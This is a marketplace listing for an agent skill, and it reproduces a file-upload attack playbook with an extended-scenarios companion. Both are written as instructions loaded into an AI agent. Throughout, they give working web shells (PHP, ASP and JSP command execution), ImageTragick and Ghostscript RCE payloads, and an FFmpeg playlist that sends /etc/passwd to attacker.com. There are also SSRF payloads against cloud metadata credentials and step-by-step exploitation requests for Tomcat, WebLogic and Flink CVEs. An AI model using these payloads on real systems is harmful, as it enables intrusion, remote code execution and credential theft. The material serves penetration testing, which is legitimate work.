
Upload Insecure Files
- 2.2k installs
- 1.5k repo stars
- Updated June 16, 2026
- yaklang/hack-skills
upload-insecure-files is an agent skill for >-
About
The upload-insecure-files skill documents workflows and patterns from the repository SKILL md name upload-insecure-files description Insecure file upload playbook Use when testing upload validation storage paths processing pipelines preview behavior overwrite risks and upload-to-RCE chains SKILL Upload Insecure Files Validation Bypass Storage Abuse and Processing Chains AI LOAD INSTRUCTION Expert file upload attack playbook Use when the target accepts files imports avatars media documents or archives and you need the full workflow validation bypass storage path abuse post-upload access parser exploitation multi-tenant overwrite and chaining into XSS XXE CMDi traversal or business logic impact For web server parsing vulnerabilities PUT method exploitation and specific CVEs WebLogic Flink Tomcat load the companion SCENARIOS md SCENARIOS md RELATED ROUTING Extended Scenarios Also load SCENARIOS md SCENARIOS md when you need IIS parsing vulnerabilities x asp directory parsing semicolon truncation shell asp jpg Nginx parsing misconfiguration avatar jpg php with cgi fix_pathinfo 1 Apache parsing multiple extensions AddHandler CVE-2017-15715 n 0x0A bypass PUT method exploitation IIS WebD.
- SKILL: Upload Insecure Files - Validation Bypass, Storage Abuse, and Processing Chains
- IIS parsing vulnerabilities - `x.asp/` directory parsing, `;` semicolon truncation (`shell.asp;.jpg`)
- Nginx parsing misconfiguration - `avatar.jpg/.php` with `cgi.fix_pathinfo=1`
- Apache parsing - multiple extensions, `AddHandler`, CVE-2017-15715 `\n` (0x0A) bypass
- PUT method exploitation - IIS WebDAV PUT+COPY, Tomcat CVE-2017-12615 `readonly` + `.jsp/` bypass
Upload Insecure Files by the numbers
- 2,175 all-time installs (skills.sh)
- +119 installs in the week ending Aug 5, 2026 (Skillselion tracking)
- Ranked #377 of 2,153 Testing & QA skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
upload-insecure-files capabilities & compatibility
- Capabilities
- skill: upload insecure files validation bypass · iis parsing vulnerabilities `x.asp/` directory · nginx parsing misconfiguration `avatar.jpg/.ph · apache parsing multiple extensions, `addhandle · put method exploitation iis webdav put+copy, t
- Use cases
- documentation
What upload-insecure-files says it does
--- name: upload-insecure-files description: >- Insecure file upload playbook.
Use when testing upload validation, storage paths, processing pipelines, preview behavior, overwrite risks, and upload-to-RCE chains.
For web server parsing vulnerabilities, PUT method exploitation, and specific CVEs (WebLogic, Flink, Tomcat), load the companion [SCENARIOS.md](./SCENARIOS.md).
npx skills add https://github.com/yaklang/hack-skills --skill upload-insecure-filesAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 2.2k |
|---|---|
| repo stars | ★ 1.5k |
| Security audit | 1 / 3 scanners passed |
| Last updated | June 16, 2026 |
| Repository | yaklang/hack-skills ↗ |
What problem does upload-insecure-files solve for developers using the documented workflows?
>-
Who is it for?
Developers working with upload-insecure-files patterns described in the skill documentation.
Skip if: Skip when docs are empty or the task is outside the skill documented scope.
When should I use this skill?
>-
What you get
Grounded guidance and workflows from SKILL.md for upload-insecure-files.
- Upload attack test cases
- Parsing bypass findings
- Sanitization gap report
By the numbers
- Documents three IIS parsing techniques: directory parsing, semicolon truncation, and Unicode space bypass
Files
SKILL: Upload Insecure Files — Validation Bypass, Storage Abuse, and Processing Chains
AI LOAD INSTRUCTION: Expert file upload attack playbook. Use when the target accepts files, imports, avatars, media, documents, or archives and you need the full workflow: validation bypass, storage path abuse, post-upload access, parser exploitation, multi-tenant overwrite, and chaining into XSS, XXE, CMDi, traversal, or business logic impact. For web server parsing vulnerabilities, PUT method exploitation, and specific CVEs (WebLogic, Flink, Tomcat), load the companion SCENARIOS.md.
0. RELATED ROUTING
Extended Scenarios
Also load SCENARIOS.md when you need:
- IIS parsing vulnerabilities —
x.asp/directory parsing,;semicolon truncation (shell.asp;.jpg) - Nginx parsing misconfiguration —
avatar.jpg/.phpwithcgi.fix_pathinfo=1 - Apache parsing — multiple extensions,
AddHandler, CVE-2017-15715\n(0x0A) bypass - PUT method exploitation — IIS WebDAV PUT+COPY, Tomcat CVE-2017-12615
readonly+.jsp/bypass - WebLogic CVE-2018-2894 arbitrary file upload via Web Service Test Page
- Apache Flink CVE-2020-17518 file upload with path traversal
- Upload + parsing vulnerability chain — EXIF PHP code + Nginx
/.phppath info - Full extension bypass reference table (PHP/ASP/JSP alternatives, case variations, null bytes)
Use this file as the deep upload workflow reference. Also load:
- path traversal lfi when filename, extraction path, or include path becomes file-system control
- xss cross site scripting when uploads are rendered in browser contexts
- xxe xml external entity when SVG, OOXML, or XML imports are accepted
- cmdi command injection when a processor, converter, or media pipeline executes system tools
- business logic vulnerabilities when quotas, overwrite rules, approvals, or storage paths create logic bugs
- ghost-bits-cast-attack when the server is Apache Tomcat and the WAF blocks
.jspinfilename*— Tomcat'sRFC2231Utilitynarrows each char to byte, so1.陪sp(U+966A low byte =j) writes1.jspto disk while the WAF sees no.jspliteral
---
1. CORE MODEL
Every upload feature should be tested as four separate trust boundaries:
1. Accept: what validation happens before the file is stored? 2. Store: where is the file written and under what name and permissions? 3. Process: what background tools, converters, scanners, parsers, or extractors touch it? 4. Serve: how is it later downloaded, rendered, transformed, or shared?
Many targets validate only one stage. The bug usually appears in a different stage than the one where the file was uploaded.
---
2. RECON QUESTIONS FIRST
Before payload selection, answer these:
- Which extensions are allowed, denied, or normalized?
- Does the backend trust extension, MIME type, magic bytes, or all three?
- Is the file renamed, transcoded, unzipped, scanned, or re-hosted?
- Is retrieval direct, proxied, signed, or served from a CDN?
- Can one user predict or overwrite another user's file path?
- Do filenames, metadata, or previews reflect back into HTML, logs, admin consoles, or PDFs?
---
3. VALIDATION BYPASS MATRIX
| Validation Style | What to Test |
|---|---|
| extension blacklist | double extension, case toggles, trailing dot, alternate separators |
| content-type only | mismatched multipart Content-Type, browser vs proxy rewrite |
| magic-byte only | polyglot files or valid header plus dangerous tail content |
| server-side rename | whether dangerous content survives rename and later rendering |
| image-only policy | SVG, malformed image plus metadata, parser differential |
| archive or import only | zip contents, nested path names, XML members, decompression behavior |
Representative bypass families:
shell.php.jpg
avatar.jpg.php
file.asp;.jpg
file.php%00.jpg
file.svg
archive.zipThis small sample set already covers the main use cases of the former standalone upload payload helper, so no extra entry is needed for first-pass selection.
Do not stop at upload success. Successful upload without dangerous retrieval or processing is not enough.
---
4. STORAGE AND RETRIEVAL ABUSE
Predictable or controllable paths
Look for patterns like:
/uploads/USER_ID/avatar.png
/files/org-slug/report.pdf
/cdn/tmp/<uuid>/<filename>Test for:
- cross-tenant read by guessing IDs, slugs, or UUID patterns
- overwrite by reusing another user's filename
- path normalization bugs in filename or archive members
- private file exposed through direct object URL despite UI-level access control
Filename-based injection surfaces
A safe file can still be dangerous if the filename is reflected into:
- gallery HTML
- admin moderation panels
- PDF/CSV export jobs
- logs, audit views, or email notifications
If filename is reflected, treat it like stored input, not like passive metadata.
---
5. PROCESSING-CHAIN ATTACKS
The highest-value upload bugs often live in asynchronous processors.
Common processor classes
| Processor | Risk |
|---|---|
| image resizing or thumbnailing | parser differential, ImageMagick or library bugs, metadata reflection |
| video or audio transcoding | FFmpeg-style parsing and protocol abuse |
| archive extraction | zip slip, overwrite, decompression bombs |
| document import | CSV formula injection, office XML parsing, macro-adjacent workflows |
| XML or SVG parsing | XXE, SSRF, local file disclosure |
| HTML to PDF or preview rendering | SSRF, script execution, local file references |
| AV or DLP scanning | unzip depth, hidden nested content, race conditions |
What to prove
1. The file is touched by a processor. 2. The processor behaves differently from the upload validator. 3. That difference creates impact: read, execute, overwrite, SSRF, or stored client-side execution.
---
6. HIGH-VALUE EXPLOITATION PATHS
Browser execution
- SVG served as active content
- HTML or text uploads rendered inline
- EXIF or filename reflected into an HTML page
XML and document parsing
- SVG XXE for file read or SSRF
- OOXML import for XML entity or parser abuse
- CSV import for formula execution in analyst workflows
Server-side execution or file-system impact
- image or document converter invoking shell tools
- zip slip writing outside intended directory
- upload-to-LFI chain where uploaded content later becomes includable
Access-control and sharing bugs
- private upload accessible via predictable URL
- moderation or quarantine path still publicly reachable
- one user replacing another user's public asset
---
7. AUTHORIZATION AND BUSINESS LOGIC CHECKS
Upload features frequently hide non-parser bugs:
- upload quota enforced in UI but not API
- plan restrictions checked on upload page but not on import endpoint
- file ownership checked on list view but not on direct download or replace endpoint
- approval workflow bypassed by calling the final storage endpoint directly
- delete or replace action missing object-level authorization
When the upload path includes account, project, or organization identifiers, always run an A/B authorization test.
---
8. TEST SEQUENCE
1. Upload one benign marker file and map rename, path, and retrieval behavior. 2. Try one validation-bypass sample and one active-content sample. 3. Check whether retrieval is attachment, inline render, transformed preview, or background processing. 4. If processing exists, pivot by processor family: XSS, XXE, CMDi, zip slip, or SSRF. 5. Run tenant-boundary and overwrite tests on file IDs, replace endpoints, and public URLs.
---
9. CHAINING MAP
| Observation | Pivot |
|---|---|
| SVG or XML accepted | xxe xml external entity |
| filename or metadata reflected | xss cross site scripting |
| converter or processor shells out | cmdi command injection |
| extraction path looks controllable | path traversal lfi |
| overwrite, quota, approval, or tenant bug | business logic vulnerabilities |
---
10. OPERATOR CHECKLIST
[] Confirm accept/store/process/serve stages separately
[] Test one extension bypass and one content-based payload
[] Check inline render vs forced download
[] Inspect filenames, metadata, and preview surfaces for reflection
[] Probe processing chain: image, archive, XML, document, PDF
[] Run A/B authorization on read, replace, delete, and share actions
[] Map predictable paths and public/private URL boundaries---
11. UPLOAD SUCCESS RATE MODEL & ADVANCED METHODOLOGY
Success Rate Formula
P(RCE via Upload) = P(bypass_detection) × P(obtain_path) × P(execute_via_webserver)Many testers focus only on bypassing file type checks, but forget:
- Path discovery: Without knowing the upload path, even a successful bypass is useless
- Server parsing: Even with a
.phpfile uploaded, if the web server doesn't parse it as PHP, no RCE
Rich Text Editor Path Matrix
| Editor | Common Upload Path | Version Indicator |
|---|---|---|
| FCKeditor | /fckeditor/editor/filemanager/connectors/ | /fckeditor/_whatsnew.html |
| CKEditor | /ckeditor/ | /ckeditor/CHANGES.md |
| eWebEditor | /ewebeditor/ | Admin: /ewebeditor/admin_login.asp |
| KindEditor | /kindeditor/attached/ | /kindeditor/kindeditor.js |
| UEditor | /ueditor/net/ or /ueditor/php/ | /ueditor/ueditor.config.js |
Validation Defect Taxonomy (5 Dimensions)
| Dimension | Flaw Examples |
|---|---|
| Location | Client-side only, inconsistent front/back |
| Method | Extension blacklist (incomplete), MIME check only, magic bytes only |
| Logic order | Renames AFTER execution check, validates BEFORE full upload |
| Scope | Checks filename but not file content, checks first bytes only |
| Execution context | Upload succeeds but different vhost/handler processes the file |
Response Manipulation Bypass
# If server returns allowedTypes in response for client-side validation:
# Intercept response → modify allowedTypes to include .php → upload .php
# The server never actually validates — it trusts client filteringIIS Semicolon Parsing
# IIS treats semicolon as parameter delimiter in filenames:
shell.asp;.jpg → IIS executes as ASP
# NTFS Alternate Data Stream:
shell.asp::$DATA → Bypasses extension check, IIS may executeApache Multi-Extension
# Apache parses right-to-left for handler:
shell.php.jpg → May execute as PHP if AddHandler php applies
# Newline in filename (CVE-2017-15715):
shell.php\x0a → Bypasses regex but Apache still executes as PHPNginx cgi.fix_pathinfo
# With cgi.fix_pathinfo=1 (PHP-FPM):
/uploads/image.jpg/anything.php → PHP processes image.jpg as PHP!
# Upload legitimate-looking JPG with PHP code embedded---
12. POLYGLOT FILE TECHNIQUES
Files that are simultaneously valid in two or more formats, bypassing format-specific validation while delivering a dangerous payload.
GIFAR (GIF + JAR)
# GIF header + JAR appended
# GIF89a header (6 bytes) + padding + JAR archive (ZIP format)
# Browser: valid GIF image
# Java: valid JAR archive → applet execution (legacy)
cat header.gif payload.jar > gifar.gif
# Passes image validation, executes as Java applet if loaded via <applet>PNG + PHP polyglot
# Inject PHP code into PNG IDAT chunk or tEXt metadata
# The PNG renders as valid image; when included via LFI, PHP code executes
# Method 1: PHP in tEXt chunk
python3 -c "
import struct
png_header = b'\x89PNG\r\n\x1a\n'
# ... minimal IHDR + IDAT + tEXt chunk containing PHP
"
# Method 2: Use exiftool to inject into comment
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.png
# Upload image.png → LFI include → PHP executes from metadataJPEG + JS polyglot
# JPEG comment marker (0xFFFE) can contain JavaScript
# If served with Content-Type: text/html (or MIME sniffing active):
exiftool -Comment='<script>alert(document.domain)</script>' photo.jpg
# Combined with content-type confusion → XSS via image uploadPDF + JS polyglot
# PDF header followed by JS:
%PDF-1.0
1 0 obj<</Pages 2 0 R>>endobj
2 0 obj<</Kids[3 0 R]/Count 1>>endobj
3 0 obj<</MediaBox[0 0 3 3]>>endobj
trailer<</Root 1 0 R>>
*/=alert('XSS')/*---
13. IMAGEMAGICK EXPLOITATION CHAIN
CVE-2016-3714 (ImageTragick) — RCE via Delegates
ImageMagick uses "delegates" (external programs) for certain format conversions. Specially crafted files trigger shell command execution:
MVG (Magick Vector Graphics)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-contextSVG delegate abuse
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px">
<image xlink:href="https://example.com/image.jpg"|id > /tmp/pwned"" x="0" y="0"/>
</svg>Ghostscript exploitation
ImageMagick delegates to Ghostscript for PDF/PS/EPS processing. Ghostscript has had multiple sandbox escapes:
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id > /tmp/pwned) currentdevice putdevicepropsUpload as .eps, .ps, or .pdf → ImageMagick invokes Ghostscript → RCE.
Mitigation check
□ Is ImageMagick policy.xml restricting dangerous coders?
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
□ Is Ghostscript updated and sandboxed (-dSAFER)?---
14. FFMPEG SSRF & LOCAL FILE READ
HLS playlist file read
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://attacker.com/header.txt|file:///etc/passwd
#EXT-X-ENDLISTUpload as .m3u8 or .ts → FFmpeg processes it → file content concatenated with header and sent to attacker server or embedded in output video.
SSRF via HLS
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLISTFFmpeg fetches the URL server-side → SSRF to cloud metadata endpoint.
Concat protocol for local file inclusion
#EXTM3U
#EXTINF:1,
concat:file:///etc/passwd|subfile,,start,0,end,0,,:
#EXT-X-ENDLISTAVI + subtitle SSRF
Create AVI with subtitle track referencing a URL:
ffmpeg -i input.avi -vf "subtitles=http://169.254.169.254/latest/meta-data/" output.avi---
15. CLOUD STORAGE UPLOAD CONSIDERATIONS
S3 Presigned URL Abuse
# Presigned URL generated for specific key and content-type:
PUT https://bucket.s3.amazonaws.com/uploads/avatar.jpg
?X-Amz-Algorithm=AWS4-HMAC-SHA256&...&X-Amz-SignedHeaders=host;content-type
# Abuse: if content-type is NOT in SignedHeaders:
# Change Content-Type from image/jpeg to text/html → upload XSS payload
# The signature remains valid because content-type wasn't signed
# If path is not signed (only prefix):
# Change key from uploads/avatar.jpg to uploads/../admin/config.jsonAudit checklist:
□ Which headers are included in SignedHeaders? (must include content-type)
□ Is the full key path signed or just a prefix?
□ Is the upload bucket the same as the serving bucket? (write to CDN-served bucket → stored XSS)
□ Is the ACL signed? (prevent setting public-read on sensitive uploads)Azure Blob Storage SAS Token
# SAS token scope issues:
# Container-level SAS with write permission → write to ANY blob in container
# Service-level SAS → may allow listing/reading other blobs
# Check: sr= (signed resource), sp= (signed permissions), se= (expiry)GCS Signed URL
# Similar to S3 — check if Content-Type is included in signature
# Resumable upload URLs may have broader permissions than intended
# V4 signed URLs: verify X-Goog-SignedHeaders includes content-type---
16. CONTENT-TYPE VALIDATION BYPASS
Double extensions
shell.php.jpg → Apache with AddHandler may execute as PHP
shell.asp;.jpg → IIS semicolon truncation
shell.php%00.jpg → Null byte truncation (PHP < 5.3.4, old Java)
shell.php.xxxxx → Unknown extension → Apache falls back to previous handlerMIME sniffing exploitation
When server sends no Content-Type or X-Content-Type-Options: nosniff is missing:
# Upload file with HTML/JS content but image extension
# Browser MIME-sniffs content → executes as HTML
# Works for stored XSS even when extension validation passesContent-Type header vs extension mismatch
# Upload request:
Content-Disposition: form-data; name="file"; filename="avatar.jpg"
Content-Type: image/jpeg
# File content: <?php system($_GET['cmd']); ?>
# Server trusts Content-Type header (image/jpeg) → passes validation
# But stores with .php extension based on other logic → executes as PHPCase variation
shell.PhP shell.pHP shell.Php
shell.aSp shell.jSp shell.ASPXTrailing characters
shell.php. → trailing dot (Windows strips it)
shell.php::$DATA → NTFS alternate data stream (IIS)
shell.php\x20 → trailing space
shell.php%20 → URL-encoded spaceUpload Insecure Files — Extended Scenarios & Real-World Cases
Companion to SKILL.md. Contains parsing vulnerabilities, PUT method attacks, and CVE case studies.
---
1. Web Server Parsing Vulnerabilities
Parsing vulnerabilities cause web servers to execute uploaded files as code despite having "safe" extensions:
IIS Parsing
| Technique | Example | Mechanism |
|---|---|---|
| Directory parsing | Upload to x.asp/ directory | IIS 6 treats files in .asp directories as ASP |
| Semicolon truncation | shell.asp;.jpg | IIS 6 truncates at ; → executes as ASP |
| Unicode space | shell.asp%20 | IIS ignores trailing encoded space |
Nginx Parsing (CGI misconfiguration)
# Upload: avatar.jpg (containing PHP code in EXIF or appended)
# Access: /uploads/avatar.jpg/.php
# Or: /uploads/avatar.jpg%00.php (null byte, older versions)Caused by cgi.fix_pathinfo=1 in php.ini + incorrect Nginx location config.
Apache Parsing
| Technique | Example | Mechanism |
|---|---|---|
| Multiple extensions | shell.php.jpg | If AddHandler php-script .php, Apache processes .php anywhere in name |
| Newline bypass (CVE-2017-15715) | shell.php\n (0x0A) | <FilesMatch> regex uses $ which matches before \n |
.htaccess upload | Upload .htaccess with AddType application/x-httpd-php .jpg | All .jpg files execute as PHP |
Exploitation Flow
1. Upload file with parsing-vulnerable name: shell.php.jpg
2. Server stores it (passes extension validation for "jpg")
3. Access the file URL
4. Web server parses it as PHP due to parsing vulnerability → RCE---
2. PUT Method Exploitation
IIS PUT + COPY/MOVE
IIS with WebDAV and write permissions allows uploading via PUT, then renaming:
# Step 1: PUT a text file (allowed)
PUT /test.txt HTTP/1.1
Content-Type: text/plain
<%eval request("cmd")%>
# Step 2: COPY/MOVE to .asp extension
COPY /test.txt HTTP/1.1
Destination: /shell.asp
# Step 3: Access shell
GET /shell.asp?cmd=whoamiTomcat PUT (CVE-2017-12615)
When Tomcat's readonly parameter is false in web.xml:
# Direct PUT is blocked for .jsp
PUT /shell.jsp HTTP/1.1
→ 403 Forbidden
# Bypass with trailing slash:
PUT /shell.jsp/ HTTP/1.1
Content-Type: application/octet-stream
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
→ 201 Created
# Or Windows-style:
PUT /shell.jsp::$DATA HTTP/1.1---
3. CVE Case: WebLogic Arbitrary File Upload (CVE-2018-2894)
WebLogic's Web Service Test Page allows unauthenticated file upload:
# Endpoint (when test page is enabled):
/ws_utc/config.do
# Or: /ws_utc/resources/setting/keystore
# Upload JSP webshell as a "keystore" file
# The file is stored in a web-accessible path
# Access: /ws_utc/css/config/keystore/TIMESTAMP_FILENAME.jsp---
4. CVE Case: Apache Flink File Upload (CVE-2020-17518)
Flink's REST API allows uploading JARs with path traversal in the filename:
# Upload with crafted filename containing path traversal:
curl -X POST http://TARGET:8081/jars/upload \
-F 'jarfile=@shell.jar;filename=../../../../../../tmp/shell.jar'---
5. File Upload + Parsing Vulnerability Chain
The most reliable upload-to-RCE chain combines both:
1. Upload: image with PHP code embedded (e.g., in EXIF Comment)
exiftool -Comment='<?php system($_GET["c"]); ?>' photo.jpg
2. Exploit parsing vulnerability to execute as PHP:
- Nginx: /uploads/photo.jpg/.php
- Apache: rename to photo.php.jpg
- IIS: upload to x.asp/ directory
3. Access with command parameter:
GET /uploads/photo.jpg/.php?c=id---
6. Extension Bypass Reference
# PHP alternatives:
.php .php3 .php4 .php5 .phtml .pht .phps .phar
# ASP alternatives:
.asp .aspx .asa .cer .cdx .ashx .asmx
# JSP alternatives:
.jsp .jspx .jsw .jsv .jspf
# Case variations:
.pHp .PhP .PHP .Asp .aSp
# Double extensions:
.php.jpg .php.png .php.txt .asp;.jpg
# Null byte (legacy):
.php%00.jpg .php\x00.jpgRelated skills
How it compares
Use this for upload-specific attack catalogs and parser bypass cases rather than general OWASP checklist skills without upload depth.
FAQ
Who is Upload Insecure Files for?
Developers and software engineers working with upload-insecure-files patterns from the skill documentation.
When should I use Upload Insecure Files?
>-
Is Upload Insecure Files safe to install?
Review the Security Audits panel on this page before installing in production.